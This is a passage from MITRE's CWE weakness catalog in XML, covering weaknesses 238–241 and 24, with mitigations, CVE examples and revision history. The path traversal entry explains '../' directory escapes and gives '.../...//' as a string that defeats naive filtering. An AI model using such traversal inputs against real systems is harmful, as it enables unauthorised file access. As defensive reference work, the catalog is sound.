					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Element Problems</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Element
						Problems</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="238" Name="Improper Handling of Incomplete Structural Elements" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not handle or incorrectly handles when a
					particular structural element is not completely specified.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>237</Relationship_Target_ID>
					          <!--Improper Handling of Structural Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Can be primary to other problems.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Resultant</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Missing Element Error</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Relationship_Notes,
						Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Missing Element
						Error</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Handle Missing
						Element</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="239" Name="Failure to Handle Incomplete Element" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not properly handle when a particular element
					is not completely specified.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>237</Relationship_Target_ID>
					          <!--Improper Handling of Structural Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>404</Relationship_Target_ID>
					          <!--Improper Resource Shutdown or Release-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1532</Observed_Example_Reference>
					          <Observed_Example_Description>HTTP GET without \r\n\r\n CRLF sequences causes
						product to wait indefinitely and prevents other users from accessing
						it.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2003-0195</Observed_Example_Reference>
					          <Observed_Example_Description>Partial request is not timed
						out.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2526</Observed_Example_Reference>
					          <Observed_Example_Description>MFV. CPU exhaustion in printer via partial
						printing request then early termination of
						connection.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1906</Observed_Example_Reference>
					          <Observed_Example_Description>CPU consumption by sending incomplete HTTP
						requests and leaving the connections open.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Incomplete Element</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Observed_Example,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Incomplete
						Element</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="24" Name="Path Traversal: '../filedir'" Weakness_Abstraction="Variant" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses external input to construct a pathname that
					should be within a restricted directory, but it does not properly neutralize
					"../" sequences that can resolve to a location that is outside of that
					directory.</Description_Summary>
				        <Extended_Description>
					          <Text>This allows attackers to traverse the file system to access files or
						directories that are outside of the restricted directory.</Text>
					          <Text>The "../" manipulation is the canonical manipulation for operating systems
						that use "/" as directory separators, such as UNIX- and Linux-based systems.
						In some cases, it is useful for bypassing protection schemes in environments
						for which "/" is supported but not the primary separator, such as Windows,
						which uses "\" but can also accept "/".</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>23</Relationship_Target_ID>
					          <!--Relative Path Traversal-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>893</Relationship_Target_ID>
					          <!--SFP Cluster: Path Resolution-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
						            <Text>When validating filenames, use stringent whitelists that limit the
							character set to be used. If feasible, only allow a single "." character
							in the filename to avoid weaknesses such as CWE-23, and exclude
							directory separators such as "/" to avoid CWE-36. Use a whitelist of
							allowable file extensions, which will help to avoid CWE-434.</Text>
						            <Text>Do not rely exclusively on a filtering mechanism that removes
							potentially dangerous characters. This is equivalent to a blacklist,
							which may be incomplete (CWE-184). For example, filtering "/" is
							insufficient protection if the filesystem also supports the use of "\"
							as a directory separator. Another possible error could occur when the
							filtering is applied in a way that still produces dangerous data
							(CWE-182). For example, if "../" sequences are removed from the
							".../...//" string in a sequential fashion, two instances of "../" would
							be removed from the original string, but the remaining characters would
							still form the "../" string.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>'../filedir</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description,
						Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Path Issue - Dot Dot Slash -
						'../filedir'</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="240" Name="Improper Handling of Inconsistent Structural Elements" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not handle or incorrectly handles when two or
					more structural elements should be consistent, but are
					not.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>237</Relationship_Target_ID>
					          <!--Improper Handling of Structural Elements-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>707</Relationship_Target_ID>
					          <!--Improper Enforcement of Message or Data Structure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Inconsistent Elements</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Inconsistent
						Elements</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Resolve
						Inconsistent Elements</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="241" Name="Improper Handling of Unexpected Data Type" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not handle or incorrectly handles when a
					particular element is not the expected type, e.g. it expects a digit (0-9) but
					is provided with a letter (A-Z).</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>228</Relationship_Target_ID>
					          <!--Improper Handling of Syntactically Invalid Structure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-5">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Assume all input is malicious. Use an "accept known good" input
							validation strategy, i.e., use a whitelist of acceptable inputs that
							strictly conform to specifications. Reject any input that does not
							strictly conform to specifications, or transform it into something that
							does.</Text>
						            <Text>When performing input validation, consider all potentially relevant
							properties, including length, type of input, the full range of
							acceptable values, missing or extra inputs, syntax, consistency across
							related fields, and conformance to business rules. As an example of
							business rule logic, "boat" may be syntactically valid because it only
							contains alphanumeric characters, but it is not valid if the input is
							only expected to contain colors such as "red" or "blue."</Text>
						            <Text>Do not rely exclusively on looking for malicious or malformed inputs
							(i.e., do not rely on a blacklist). A blacklist is likely to miss at
							least one undesirable input, especially if the code's environment
							changes. This can give attackers enough room to bypass the intended
							validation. However, blacklists can be useful for detecting potential
							attacks or determining which inputs are so malformed that they should be
							rejected outright.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-20">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Inputs should be decoded and canonicalized to the application's
							current internal representation before being validated (CWE-180). Make
							sure that the application does not decode the same input twice
							(CWE-174). Such errors could be used to bypass whitelist validation
							schemes by introducing dangerous inputs after they have been
							checked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1156</Observed_Example_Reference>
					          <Observed_Example_Description>FTP server crash via PORT command with non-numeric
						character.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0270</Observed_Example_Reference>
					          <Observed_Example_Description>Anti-virus product has assert error when line
						length is non-numeric.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Probably under-studied.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Wrong Data Type</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Do not assume character data has been read</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO37-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Do not assume character data has been read</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO37-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>48</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
